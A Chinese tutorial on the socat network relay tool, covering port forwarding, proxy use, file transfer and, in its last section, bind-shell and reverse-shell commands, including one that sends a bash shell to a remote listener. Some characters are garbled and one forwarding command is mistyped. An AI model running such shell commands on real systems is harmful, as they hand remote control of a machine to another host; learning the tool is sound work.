
如果您的工具箱需要高級一款高級系統(tǒng)管理工具,那 socat 就是其中一個。 socat 允許從一個位置到另一位置的雙向數(shù)據(jù)傳輸,socat 實用程序是用于在兩個獨立數(shù)據(jù)通道之間進(jìn)行雙向數(shù)據(jù)傳輸?shù)闹欣^。
socat可以連接許多不同類型的通道,包括:
- 文件
- 管道
- 設(shè)備(串行線、偽終端等)
- Sockets(UNIX, IP4, IP6 - raw, UDP, TCP)
- SSL sockets
- 代理 CONNECT 連接
- 文件描述符(stdin 等)
- The GNU line editor (readline)
- 程序
- 以上任意兩個的組合
socat 具被視為 netcat 的高級版本。 它們執(zhí)行類似的操作,但是 socat 具有更多其他功能,例如允許多個客戶端在端口上偵聽或重用連接。
一、為什么需要 socat?
有許多有效使用 socat 的方法。 這里有一些例子:
- TCP 端口轉(zhuǎn)發(fā)器(單發(fā)或守護(hù)程序)
- 外部襪機(jī)
- 攻擊弱防火墻的工具(安全和審核)
- Shell 與 Unix 套接字的接口
- IP6 中繼
- 將面向 TCP 的程序重定向到串行線
- 邏輯連接不同計算機(jī)上的串行線
- 建立相對安全的環(huán)境(
su和chroot)以運行帶有網(wǎng)絡(luò)連接的客戶端或服務(wù)器 Shell 腳本
二、怎樣使用 socat?
socat 的語法非常簡單:
socat [options] <address> <address>
必須提供源地址和目標(biāo)地址才能正常工作。 地址的語法為:
protocol:host:port
三、socat 使用實例
使用 socat 進(jìn)行各種連接的一些基本示例:
1、連接到主機(jī) TCP 8080 端口
$ socat - TCP4:www.example.com:8080
在這種情況下,socat 在 STDIO(-)和名為 www.example.com 主機(jī) 8080 端口建立的 TCP4 連接之間進(jìn)行數(shù)據(jù)傳輸。
2、監(jiān)聽一個新端口
$ socat TCP-LISTEN:7000 -
3、使用 socat 作為 TCP 轉(zhuǎn)發(fā)器
- 對于單連接:
$ socat TCP4-LISTEN:8081 TCP4:192.168.1.10:8080
- 對于多連接,使用
fork選項:
$ socat TCP4-LISTEN:8081,fork,reuseaddr TCP4:TCP4:192.168.1.10:8080
偵聽端口 8081,接受連接并將連接轉(zhuǎn)發(fā)到遠(yuǎn)程主機(jī).192.168.1.10 上的 8080 端口。
- Unix sock
$ socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
偵聽 3307 端口,接受連接并將連接轉(zhuǎn)發(fā)到遠(yuǎn)程主機(jī)上的 Unix 套接字。
4、通過代理訪問服務(wù)器
通過代理服務(wù)器訪問目標(biāo)主機(jī),并在本機(jī)進(jìn)行端口監(jiān)聽。把發(fā)到本機(jī)監(jiān)聽端口的數(shù)據(jù)轉(zhuǎn)發(fā)到目標(biāo)主機(jī):
# SOCKS4 代理,貌似 socat 不支持 SOCKS5 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
SOCKS:<Proxy-Host>:<Host>:<Port>,socksport=<Proxy-Port>,socksuser=<user>
# HTTP 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
PROXY:<Proxy-Host>:<Host>:<Port>,proxyport=<Proxy-Port>,proxyauth=<user>:<pass>
同時,也可以將本地端口監(jiān)聽改為標(biāo)準(zhǔn)輸入輸出,以這種方式協(xié)助 ssh 通過代理訪問目標(biāo)主機(jī)。
如:以通過 HTTP 代理訪問
# 主機(jī):user@server.net
# 代理:http://proxyuser:proxypwd@proxy.net:30808
$ ssh -o \
ProxyCommand='socat - proxy:proxy.net:%h:%p,proxyport=30808,proxyauth=proxyuser:proxypwd' \
user@server.net
5、實現(xiàn)一個簡單的基于網(wǎng)絡(luò)的消息收集器:
$ socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append
在此示例中,當(dāng)客戶端連接到 3334 端口時,將生成一個新的子進(jìn)程。 客戶端發(fā)送的所有數(shù)據(jù)都將附加到文件 /tmp/test.log。 如果文件不存在,則 socat 會創(chuàng)建它。 選項 reuseaddr 允許立即重啟服務(wù)器進(jìn)程。
6、文件操作
- 文件讀寫
# 從絕對路徑讀取
$ socat - /var/www/html/flag.php
# 從相對路徑讀取
# 注: 這里的路徑一般是絕對路徑,如果要使用相對路徑記得要加上 ./
$ socat - ./flag.php
# 寫入文件
$ echo "This is Test" | socat - /tmp/hello.html
- 文件傳遞
再看文件傳遞的例子。nc 也經(jīng)常用來傳遞文件,但是 nc 有一個缺點,就是不知道文件什么時候傳完了,一般要用Ctrl-C 來終止,或者估計一個時間,用 -w 參數(shù)來讓他自動終止。用 socat 就不用這么麻煩了:
| Host | Command |
|---|---|
| On host 1 | $ socat -u open:myfile.exe,binary tcp-listen:999 |
| On host 2 | $ socat -u tcp:host1:999 open:myfile.exe,create,binary |
7、Shell
正向 Shell:
正向 Shell 就是 Server 提供網(wǎng)絡(luò)監(jiān)聽以及啟動 Shell,供 Client 控制
# Server - Linux 192.168.1.100
$ socat tcp-l:8888 system:bash,pty,stderr
# macOS
$ socat readline tcp:192.168.197.100:8888
反向 Shell:
反向 Shell 就是 Server 提供網(wǎng)絡(luò)監(jiān)聽,Client 啟動 Shell,在 Client 連接后對 Client 進(jìn)行控制
# Server - Linux 192.168.1.100
$ socat tcp-l:8888 readline
# macOS
$ socat system:bash,pty,stderr tcp:192.168.197.100:8888
以上時相對比較常用的場景,其余更復(fù)雜的應(yīng)用可以翻閱相關(guān)資料,有些特定場景有更方便的實現(xiàn),如:NAT 映射,更推薦使用 frp,可參考《推薦一款很好用的內(nèi)網(wǎng)穿透工具–frp》。
四、參考
- Getting started with socat, a multipurpose relay tool for Linux
- socat - Multipurpose relay
- socat(1) - Linux man page
- nc(1) - Linux man page
- socat 使用手冊
- Socat 入門教程
socatDocument OfficialsocatExample Document Official- 3分鐘搞懂反彈shell
- Cindy Sridharan - socat
(完)